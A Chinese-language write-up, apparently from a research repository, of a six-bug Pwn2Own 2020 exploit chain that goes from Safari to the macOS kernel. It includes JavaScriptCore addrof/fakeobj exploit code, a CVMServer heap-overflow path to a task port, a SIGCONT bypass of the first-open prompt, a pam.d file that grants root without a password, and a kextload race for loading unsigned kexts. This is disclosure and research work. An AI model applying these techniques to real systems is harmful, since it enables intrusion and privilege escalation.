
通过链接六个漏洞,利用Safari入侵macOS内核
本仓库包含我们针对苹果Safari的Pwn2Own 2020获奖提交的利用技术细节,该提交实现了macOS 10.15.3上的内核权限提升。更多信息,请参阅我们的Blackhat USA 2020幻灯片和视频。本仓库还包含成功利用的演示视频。
2. 使用Safari通过攻击者服务器的IP访问网站:```
http://[attacker_ip]/exploit.html
csrutil status 命令来检查,该命令会显示 disabled。为了方便,我们提供了一个编译好的负载 payload.js。但如果你愿意,也可以自己构建。注意,这需要很长时间,因为我们将构建 WebKit 作为漏洞利用链的一部分。值得一提的是,我们仅在 Mac OS 上测试了我们的构建过程。```shell
$ python3 -m pip install --user lief $ make
技术细节
-----------------
### 1. 通过 JavaScriptCore DFG 编译器中 'in' 运算符的错误副作用建模在 Safari 中实现远程代码执行
- 根本原因分析
在 JavaScriptCore 中,当使用 'in' 运算符查询索引属性时,DFG 编译器假定该操作无副作用,除非其原型链中存在可以拦截该操作的代理对象。JavaScriptCore 使用名为 'MayHaveIndexedAccessors' 的标志来标记可以拦截此索引属性访问的对象。该标志会显式标记给 Proxy 对象。```javascript
0 in [] // side-effect free
let arr = [];
arr.__proto__ = new Proxy({}, {});
0 in arr // can cause side-effect!
然而,还有另一个可能导致副作用的对象:实现了自己的getOwnPropertySlot()方法的JSHTMLEmbedElement。使用'in'运算符触发JavaScript回调(即副作用)的一种方法是使用带有PDF插件的<embed>元素;当在embed/object标签的DOM对象上查询任何属性时,它会尝试加载后台插件,并且在PDF插件的情况下,由于它在body元素上使用了appendChild方法,可能会调用DOMSubtreeModified事件处理程序。
这是从getOwnPropertySlot()调用副作用的堆栈跟踪。```txt
Stack trace
#1 0x1c1463dbb in WebKit::PDFPlugin::PDFPlugin(WebKit::WebFrame&) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x1463dbb)
#2 0x1c144cac7 in WebKit::PDFPlugin::create(WebKit::WebFrame&) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x144cac7)
#3 0x1c1b65d48 in WebKit::WebPage::createPlugin(WebKit::WebFrame*, WebCore::HTMLPlugInElement*, WebKit::Plugin::Parameters const&, WTF::String&) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x1b65d48)
#4 0x1c18cddc4 in WebKit::WebFrameLoaderClient::createPlugin(WebCore::IntSize const&, WebCore::HTMLPlugInElement&, WTF::URL const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::String const&, bool) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x18cddc4)
#5 0x1cfb3f224 in WebCore::SubframeLoader::loadPlugin(WebCore::HTMLPlugInImageElement&, WTF::URL const&, WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, bool) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3d01224)
#6 0x1cfb3f62c in WebCore::SubframeLoader::requestObject(WebCore::HTMLPlugInImageElement&, WTF::String const&, WTF::AtomString const&, WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3d0162c)
#7 0x1cf424c85 in WebCore::HTMLPlugInImageElement::requestObject(WTF::String const&, WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35e6c85)
#8 0x1cf300912 in WebCore::HTMLEmbedElement::updateWidget(WebCore::CreatePlugins) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x34c2912)
#9 0x1cfd0a57e in WebCore::FrameView::updateEmbeddedObject(WebCore::RenderEmbeddedObject&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3ecc57e)
#10 0x1cfd0a807 in WebCore::FrameView::updateEmbeddedObjects() (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3ecc807)
#11 0x1cfcf19c7 in WebCore::FrameView::updateEmbeddedObjectsTimerFired() (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3eb39c7)
#12 0x1cedbd595 in WebCore::Document::updateLayoutIgnorePendingStylesheets(WebCore::Document::RunPostLayoutTasks) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2f7f595)
#13 0x1cf41b681 in WebCore::HTMLPlugInElement::renderWidgetLoadingPlugin() const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35dd681)
#14 0x1cf2ffc2d in WebCore::HTMLEmbedElement::renderWidgetLoadingPlugin() const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x34c1c2d)
#15 0x1cf41ad77 in WebCore::HTMLPlugInElement::pluginWidget(WebCore::HTMLPlugInElement::PluginLoadingPolicy) const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35dcd77)
#16 0x1ce7b3e26 in WebCore::pluginScriptObjectFromPluginViewBase(WebCore::HTMLPlugInElement&, JSC::JSGlobalObject*) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2975e26)
#17 0x1ce7b3dca in WebCore::pluginScriptObject(JSC::JSGlobalObject*, WebCore::JSHTMLElement*) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2975dca)
#18 0x1ce7b4023 in WebCore::pluginElementCustomGetOwnPropertySlot(WebCore::JSHTMLElement*, JSC::JSGlobalObject*, JSC::PropertyName, JSC::PropertySlot&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2976023)
#19 0x1cca3e913 in WebCore::JSHTMLEmbedElement::getOwnPropertySlot(JSC::JSObject*, JSC::JSGlobalObject*, JSC::PropertyName, JSC::PropertySlot&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xc00913)
#20 0x1e946dd6c in llint_slow_path_get_by_id (.../WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x232ad6c)
由于原型链中的任何对象未被标记为
"MayHaveIndexedAccessors",JIT 假定此 'in' 操作符的使用在
转换后不存在任何内部转移,从而消除了数组类型检查。```javascript
// In the frame of
function opt(arr) {
arr[0] = 1.1;
100 in arr; // 100 not exists in arr, making it check __proto__
return arr[0]
}
for(var i = 0; i < 10000; i++) opt([1.1])
arr.__proto__ = document.querySelector('embed')
document.body.addEventListener('DOMSubtreeModified', () => {
arr[0] = {}
})
document.body.removeChild(embed)
opt([1.1]) // leaks address of {} as double value
通过构建addrof/fakeobj原语,我们可以创建任意读写原语,从而利用JIT编译的JavaScript函数执行代码。
在获得addrof/fakeobj原语后,我们通过伪造对象将其转换为更稳定的addrof/fakeobj原语。```javascript hostObj = { // hostObj.structureId // hostObj.butterfly _: 1.1, // dummy length: (new Int64('0x4141414141414141')).asDouble(), // -> fakeHostObj = fakeObj(addressOf(hostObj) + 0x20) id: (new Int64('0x0108191700000000')).asJSValue(), butterfly: null, o: {}, executable:{ a:1, b:2, c:3, d:4, e:5, f:6, g:7, h:8, i:9, // Padding (offset: 0x58) unlinkedExecutable:{ isBuiltinFunction: 1 << 31, a:0, b:0, c:0, d:0, e:0, f:0, // Padding (offset: 0x48) identifier: null } }, // -> fakeIdentifier = fakeObj(addressOf(hostObj) + 0x40) strlen_or_id: (new Int64('0x10')).asDouble(), // String.size target: hostObj // String.data_ptr }
hostObj.executable.unlinkedExecutable.identifier = fakeIdentifier Function.prototype.toString(fakeHostObj) // function leaked-structure-id { [native code] }
We leak the structure id of the hostObj by making fake function object
fakeHostObj and calling Function.prototype.toString on it. The name of
function reflects the structure id value as UTF-16 string. We update the
hostObj after leaking the structure id. It is worth to noting that this
technique is from [Yong Wang's Blackhat EU 2019
talk](https://www.blackhat.com/eu-19/briefings/schedule/#thinking-outside-the-jit-compiler-understanding-and-bypassing-structureid-randomization-with-generic-and-old-school-methods-17513).```javascript
hostObj = {
// hostObj.structureId
// hostObj.butterfly
_: 1.1, // dummy
length: (new Int64('0x4141414141414141')).asDouble(),
// -> fakeHostObj = fakeObj(addressOf(hostObj) + 0x20)
id: leakStructureId.asDouble(), // fakeHostObj.structureId
butterfly: fakeHostObj, // fakeHostObj.butterfly
o: {},
...
}
现在我们有 fakeHostObj 的 butterfly 指向 fakeHostObj 本身。 我们可以使用 addrof/fakeobj 原语而不再次触发 bug,因为我们可以通过 fakeHostObj[2] 访问 hostObj.o,无论是作为 JSValue 还是 double。
利用泄露的 attackObj 结构 ID 和 addrof/fakeobj 原语,我们可以 构造如下对象。```javascript rwObj = { // rwObj.structureId // rwObj.butterfly _: 1.1, // dummy length: (new Int64('0x4141414141414141')).asDouble(), // fakeRwObj = fakeObj(addressOf(rwObj) + 0x20) id: leakStructureId.asDouble(), // fakeRwObj.structureId butterfly: fakeRwObj, // fakeRwObj.butterfly
__: 1.1, // dummy
innerLength: (new Int64('0x4141414141414141')).asDouble(),
// fakeInnerObj = fakeObj(addressOf(rwObj) + 0x40)
innerId: leakStructureId.asDouble(), // fakeInnerObj.structureId
innerButterfly: fakeInnerObj, // fakeInnerObj.butterfly
}
我们可以使用 fakeRwObj 来更新 fakeInnerObj 的 butterfly 指针,并从 fakeInnerObj 进行读/写,从而获得任意 RW 原语。为了从任意 RW 原语实现 RCE,我们触发 dummy 函数的 JIT 编译,泄露代码地址,并用我们的 shellcode 覆盖它。有时,由于无法从假数组中读取/写入某些值,代码地址泄露会失败。在这种情况下,我们尝试通过从指针位置 + 1 读取值并移位来近似获得该值。最后,我们将 alert 函数的代码指针覆盖为 dummy 函数的代码指针,并调用它(带有一些参数)来执行 shellcode。
### 2. 通过 didFailProvisionalLoad() 中的符号链接在 Safari 中任意启动 .app
对于 file:// URL,Safari 会使用 [NSWorkspace selectFile:inFileViewerRootedAtPath:] 打开 Finder 窗口。此函数接受两个参数,大多数情况下,Safari 只使用第一个参数,它会显示指定文件所在的文件夹。但如果使用第二个参数,Finder 会启动文件(如果它是可执行文件或应用程序包)。
Safari 在确认指向的路径不是应用程序包(即带有 .app 后缀的目录)后使用第二个参数。由于符号链接可以指向应用程序包,但它本身不是带有 .app 后缀的目录。因此,Safari 会启动由符号链接指向的应用程序。此代码路径可以通过发送 didFailProvisionalLoad() IPC 消息来触发。
然而,由于 Seatbelt 沙盒的系统调用过滤,Safari 本身无法创建符号链接。因此,我们使用另一个能够提供 root 但沙盒化代码执行的漏洞。
### 3. 通过堆溢出在 CVM(Core Virtual Machine)服务中实现任意代码执行
有一个名为 com.apple.cvmsServ(即 CVMServer)的沙盒化 XPC 服务,它为各种架构编译着色器。它是内置 OpenGL 框架的一部分。
对于 "message" 字段设置为 4 的请求,CVMServer 会解析用户指定的 "framework data" 和 "maps"。"maps" 数据文件位于 "/System/Library/Caches/com.apple.CVMS/%s.%s.%u.maps" - 第一个 %s 是用户指定的,没有任何过滤。因此可以进行目录遍历;我们可以让它解析在 Safari 沙盒内创建的文件。```c
FILE *fp = fopen(&framework_name_, "r");
...
Header *header = malloc(0x50);
fread(header, 0x50, 1, v132);
...
items_offset = header->items_offset;
items_count = header->items_count;
header = realloc(header, 56 * items_count + items_offset);
fread(&header->char50, items_offset + 56 * items_count - 0x50, 1, v132);
If item_count * 56 + items_offset <= 0x50, fread() will receive underflowed
length near 2^64, so it becomes heap overflow with arbitrary length payload.
Note that fread() stops when the end of specified file is reached.
By utilizing this, we could overwrite the heap object related to connection, which could modify the pointers mentioned below:```c case 7: // "message" == 7 v34 = xpc_dictionary_get_uint64(input, "heap_index"); v11 = cvmsServerServiceGetMemory(a1a->session, v34, &port, &size); if ( v11 ) goto error; xpc_dictionary_set_mach_send(reply, "vm_port", port);
__int64 __fastcall cvmsServerServiceGetMemory(xpc_session *a1, unsigned __int64 index, _DWORD *port, _QWORD *a4) { Pool *pool; // rax unsigned int v7; // ebx heapitem *v8; // rax
pthread_mutex_lock((&server_globals + 2)); // a1->attachedService is controlled value pool = a1->attachedService->context->pool_ptr; v7 = 521; if ( pool->pointersCount > index ) { v8 = pool->pointers; *port = v8[index].port; *a4 = v8[index].size; v7 = 0; } pthread_mutex_unlock((&server_globals + 2)); return v7; }
如果 "port" 值为 0x103(TASK-SELF),服务将向客户端授予 CVMServer 任务端口的发送权限,该权限可用于在进程上分配内存并执行任意代码。为了使得 v8[index].port == 0x103,我们在库区域搜索内存,这些库区域在进程间具有相同的地址。```txt
rax := UserInput
[rax+0x38] = X
[X+0x30] = Length (UINT64_MAX)
[X+0x28] = Y (0)
[Y+0x18*index+0x10] = 0x103 (== mach_task_self_)
有许多区域包含两个64位整数值0和-1,对于rax+0x38和X+0x30,我们发现公共符号_xpc_error_termination_imminent满足此条件。由于长度大于2^64 / 0x10,我们可以计算模逆,指向Y(==0)*0x18+index+0x10 == &0x103。
由于CVMServer设置了com.apple.security.cs.allow-jit,我们可以使用MAP_JIT标志调用mmap,并调用我们的反射加载器在该进程上执行dylib文件。我们在CVMServer上运行了以下代码:```c
// In /var/db/CVMS (writable folder)
char randbuf[0x1000]; sprintf(randbuf, "%lu.app", clock()); symlink(randbuf, "my.app");
// Create a valid application at my.app
在创建了 `%lu.app` 和符号链接 `my.app` 后,我们返回 Safari 并发送了 IPC 消息以打开该应用。但还有两个保护机制:隔离检查(quarantine check)和首次打开应用检查(opening-the-app-for-the-first-time check)。
### 4. macOS 首次打开应用保护绕过
如果 Safari 尝试首次执行某个应用,当该文件带有 `com.apple.quarantine` 属性时,Safari 会拒绝执行或等待用户确认。所有由 WebProcess 创建的文件都带有 `com.apple.quarantine` 属性,但我们已能绕过此限制——因为我们是在 CVMServer 进程中创建文件夹,而非 WebProcess。对于用户确认环节,macOS 会先创建进程、将其挂起,待用户点击“打开”按钮后再继续运行。但发送 `SIGCONT` 信号的效果与点击按钮相同。
因此,在创建 `my.app` 后,我们在 CVMServer 中持续运行了以下代码:```c
for(int i = 0; i < 65536; i++)
kill(i, SIGCONT);
cfprefsd 是另一个 XPC 服务,允许用户创建 plist 文件。它位于 CoreFoundation 中,并且大多数未沙箱化的进程都可以访问它。由于我们已经获得了普通用户的未沙箱化权限(例如 CVMServer),如果目标文件夹和文件具有足够的权限位,允许客户端用户写入该文件,我们就可以请求它创建 plist 文件。但是,如果文件夹不存在,它会递归创建 plist 文件的文件夹。
以下是来自 CVMServer 的创建文件夹的代码片段。```c _CFPrefsCreatePreferencesDirectory(path) { for(slice in path.split("/")) { cur += slice if(!mkdir(cur, 0777) || errno in (EEXIST, EISDIR)) { chmod(cur, perm) chown(cur, client_id, client_group) } else break } }
但如果路径指向用户可写的目录,用户就可以替换 `cur` 所指向的目录,并将其替换为指向任意文件/文件夹的符号链接。由于 cfprefsd 具有 root 权限,因此有可能更改诸如 /etc/pam.d 之类的文件夹的所有者。通过更改 /etc/pam.d 的所有者,我们可以写入以下内容的 /etc/pam.d/login:```txt
auth optional pam_permit.so
auth optional pam_permit.so
auth optional pam_permit.so
auth required pam_permit.so
account required pam_permit.so
account required pam_permit.so
password required pam_permit.so
session required pam_permit.so
session required pam_permit.so
session optional pam_permit.so
然后,login root 命令将直接赋予用户 root shell,无需任何身份验证。
kextload 是可在 macOS 中执行 kext(内核扩展)操作的程序之一。通过运行 kextload [.kext 文件夹路径],root 用户可以从用户态加载已签名的 kext。为了防止未签名或签名无效的 kext,kextload 在 IOKitUser 包中设置了“认证器”回调。不幸的是,该回调唯一可用的资源是 kext 的路径,因此条件竞争难以避免。为了缓解这一问题,kextload 首先将 kext 文件夹复制到专用空间 -- /Library/StagedExtensions -- 该空间得益于 SIP 和授权机制,即使是 root 权限也无法修改。
kextload 的工作流程如下:如果我们执行 kextload /tmp/A.kext,kextload 会将原始 kext 文件夹复制到 /Library/StagedExtensions/tmp/[UUID].kext。然后,kextload 检查该文件夹中所有文件的签名。如果检查失败,则删除该文件夹;否则,将其复制到 /Library/StagedExtensions/tmp/A.kext 并加载此模块。```txt
$ kextload /tmp/A.kext
-> copy to /Library/StagedExtensions/tmp/[UUID].kext
-> validate signatures. if failed, delete the directory
-> if succeeded, copy to /Library/StagedExtensions/tmp/A.kext
-> load the kext
kextload的一个问题是,具有根权限的用户可以终止此进程。值得注意的是,上述复制操作包含符号链接,该链接将在稍后验证。然而,如果我们在验证之前杀死kextload进程,则可以在/Library/StagedExtensions中保留一个带有符号链接的无效kext。```txt
# assume /tmp/A.kext/symlink -> /tmp/
$ kextload /tmp/A.kext
-> copy to /Library/StagedExtensions/tmp/[UUID].kext
-> kill this process
-> then, /Library/StagedExtensions/tmp/[UUID].kext/symlink will be remained
在此之后,如果我们再次执行 kextload 命令,使用
kextload /tmp/[UUID].kext/symlink/B.kext,B.kext 将被复制到可写位置,供具有 root 权限的用户使用(例如 /tmp/[UUID'].kext)```
$ kextload /tmp/[UUID].kext/symlink/B.kext
-> copy to /Library/StagedExtensions/tmp/[UUID].kext/symlink/[UUID'].kext
-> since symlink -> /tmp, this is equal to /tmp/[UUID'].kext.
复制后,kextload会检查其是否位于安全位置,即
`/Library/StagedExtensions/*`。我们可以临时将符号链接放在
/tmp/A.kext,指向 /Library/StagedExtensions/[有效kext路径]。在
验证后,我们可以将模块二进制替换为未签名的内核模块,从而
获得内核代码执行。
为了使竞态条件更可靠,我们使用sandbox-exec在文件访问指定后缀时暂停程序。
作者
-------
- 金容辉 ([email protected])
- 林正元 ([email protected])
- 尹仁秀 ([email protected])
- 金泰秀 ([email protected])
引用
--------```txt
@inproceedings{jin:pwn2own2020-safari,
title = {{Compromising the macOS kernel through Safari by chaining six vulnerabilities}},
author = {Yonghwi Jin and Jungwon Lim and Insu Yun and Taesoo Kim},
booktitle = {Black Hat USA Briefings (Black Hat USA)},
month = aug,
year = 2020,
address = {Las Vegas, NV},
}